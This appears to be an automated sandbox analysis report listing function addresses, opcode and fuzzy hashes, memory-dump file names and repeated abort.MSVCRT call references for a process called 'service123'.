Opcode Fuzzy Hash: a6f402bd11b4632e78090624f0bda1164632f4d6ab0f16587c4220ef3507b17d
Instruction Fuzzy Hash: C0B1593260931E8FC3208EACC690799BBE2AB85314F494B7DD89497B95D335FD0AC781

Function 6C7A2290 Relevance: 42.4, APIs: 28, Instructions: 354COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f33b2d3790d994e871fbcd2fe520e51bb985cae6de616af7f7d5f4c4a1e4faf
Instruction ID: 94cbe74bbf6b0a565f3a3f6778aaf99a435178ceaf65a037c2ac19d2be064e28
Opcode Fuzzy Hash: 7f33b2d3790d994e871fbcd2fe520e51bb985cae6de616af7f7d5f4c4a1e4faf
Instruction Fuzzy Hash: 43C1CE716042018FD744CF6AC58835AB7E2BB86308F158A79D89CCFB55E739E90BCB90

Function 6C7AB7A0 Relevance: 42.2, APIs: 28, Instructions: 162COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e97f16a0a79c8bb6055e950417d9bd4eb25bf54f07232e04ade4362bbb30eb1
Instruction ID: bac09a3971d4cb5f90c2163eb681022adaddcab85c0d6c5e6e6291918e8b1a37
Opcode Fuzzy Hash: 0e97f16a0a79c8bb6055e950417d9bd4eb25bf54f07232e04ade4362bbb30eb1
Instruction Fuzzy Hash: 0941E7716093499FD725CFB9C1807167BE0BF86328F188AAED9954BB42D372F846C781

Function 6C7A28FA Relevance: 42.1, APIs: 28, Instructions: 84COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 6C876CF4
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876CF9
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876CFE
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D03
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D08
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D12
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D17
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D21
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D26
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D30
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D35
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D44
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D4C
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D51
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D56
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D5B
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D60
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D65
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6A
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6F
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D74
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D79
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D7E

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 09d39012df09a6002fd2d447e5750637db33567b55ac98e668c4858f8b69f586
Instruction ID: 9599418ebaa456c62fb496bfa09a94247f0c187d744777d35ac5122d840144b5
Opcode Fuzzy Hash: 09d39012df09a6002fd2d447e5750637db33567b55ac98e668c4858f8b69f586
Instruction Fuzzy Hash: 7C11C2B2602201CFE718EF1CE996B5977B0FB62309F019B58D194D7A11D738E818CBA0

Function 6C7A2A2F Relevance: 42.1, APIs: 28, Instructions: 82COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 6C876CF4
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876CF9
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876CFE
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D03
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D08
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D12
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D17
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D21
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D26
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D30
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D35
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D44
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D4C
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D51
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D56
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D5B
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D60
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D65
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6A
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6F
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D74
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D79
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D7E

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 49f78b9bea012804e0ed426d413bf543c409333afb930e46d84ddd657b3d2335
Instruction ID: f9dc35b2cff0ade65fbbb42745a01700375de3d53f9e391b59522185e78abc50
Opcode Fuzzy Hash: 49f78b9bea012804e0ed426d413bf543c409333afb930e46d84ddd657b3d2335
Instruction Fuzzy Hash: 2611A572602201CFE718EF1CD596F5977B0FB62309F019B58D594D7A11D739E818CBA1

Function 6C7A29F0 Relevance: 42.1, APIs: 28, Instructions: 78COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 6C876CF4
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876CF9
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876CFE
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D03
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D08
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D12
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D17
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D21
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D26
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D30
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D35
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D44
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D4C
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D51
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D56
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D5B
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D60
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D65
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6A
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6F
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D74
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D79
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D7E

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 80b3db2a14cb95c0ae5c3092de111739918bdca439d09c918f98b621db64b308
Instruction ID: 39f815b5b683c13b81c471a7f94360d5266788245faad058bdf2e2bb9f96a52c
Opcode Fuzzy Hash: 80b3db2a14cb95c0ae5c3092de111739918bdca439d09c918f98b621db64b308
Instruction Fuzzy Hash: 220128B2501201CFE718EF2CD599B59B7B0FB62309F019B58C184DBA11D738E818CFA0

Function 6C7A28BB Relevance: 42.1, APIs: 28, Instructions: 73COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 6C876CF4
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876CF9
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876CFE
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D03
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D08
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D12
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D17
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D21
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D26
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D30
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D35
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D44
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D4C
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D51
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D56
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D5B
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D60
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D65
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6A
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6F
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D74
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D79
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D7E

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 2e978d3e2012b80302083603fa974679e580457a8bd6db9ba48f6c05a31021f7
Instruction ID: 2ba735bf97ee2ce8c607e0f2c875becf7fff44223210e19f4c549485d1b4f11a
Opcode Fuzzy Hash: 2e978d3e2012b80302083603fa974679e580457a8bd6db9ba48f6c05a31021f7
Instruction Fuzzy Hash: 2C016971502101CFE318EF1CD699B6AB7B0FB62309F019A58C1849BB01D735E818CF91

Function 6C7A2A6E Relevance: 42.1, APIs: 28, Instructions: 71COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 6C876CF4
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876CF9
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876CFE
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D03
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D08
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D12
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D17
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D21
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D26
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D30
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D35
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D44
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D4C
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D51
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D56
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D5B
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D60
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D65
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6A
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6F
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D74
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D79
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D7E

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 4a60b019b982438fa44c52362797b5476a681171cebffc31877e5d037ab1c783
Instruction ID: b05e7d2d95fd0148aef2e566ed501a3363253f9138defcbfd423fcc67b50e783
Opcode Fuzzy Hash: 4a60b019b982438fa44c52362797b5476a681171cebffc31877e5d037ab1c783
Instruction Fuzzy Hash: 140137B1501201DFE718EF19D699B6AB7B0FB62309F019E58C454ABB01D735E818CF91

Function 6C7A2B13 Relevance: 42.1, APIs: 28, Instructions: 69COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 6C876CF4
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876CF9
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876CFE
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D03
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D08
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D12
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D17
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D21
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D26
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D30
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D35
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D44
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D4C
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D51
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D56
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D5B
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D60
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D65
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6A
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6F
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D74
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D79
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D7E

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 1e1a50dbd009c4d7ee7637194a878d969f11af51e7a2ed24116428467c033d95
Instruction ID: 36c7b309dfc5648d885681ba7a2d329fb2e64a33e4a94833d8ac2c1c31b9c405
Opcode Fuzzy Hash: 1e1a50dbd009c4d7ee7637194a878d969f11af51e7a2ed24116428467c033d95
Instruction Fuzzy Hash: BBF049B1505201CFD714EF18D699B6AB7B0FB62309F019E58C454ABB01D735E428CF91

Function 6C7A29B1 Relevance: 42.1, APIs: 28, Instructions: 67COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 6C876CF4
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876CF9
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876CFE
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D03
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D08
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D12
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D17
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D21
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D26
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D2B
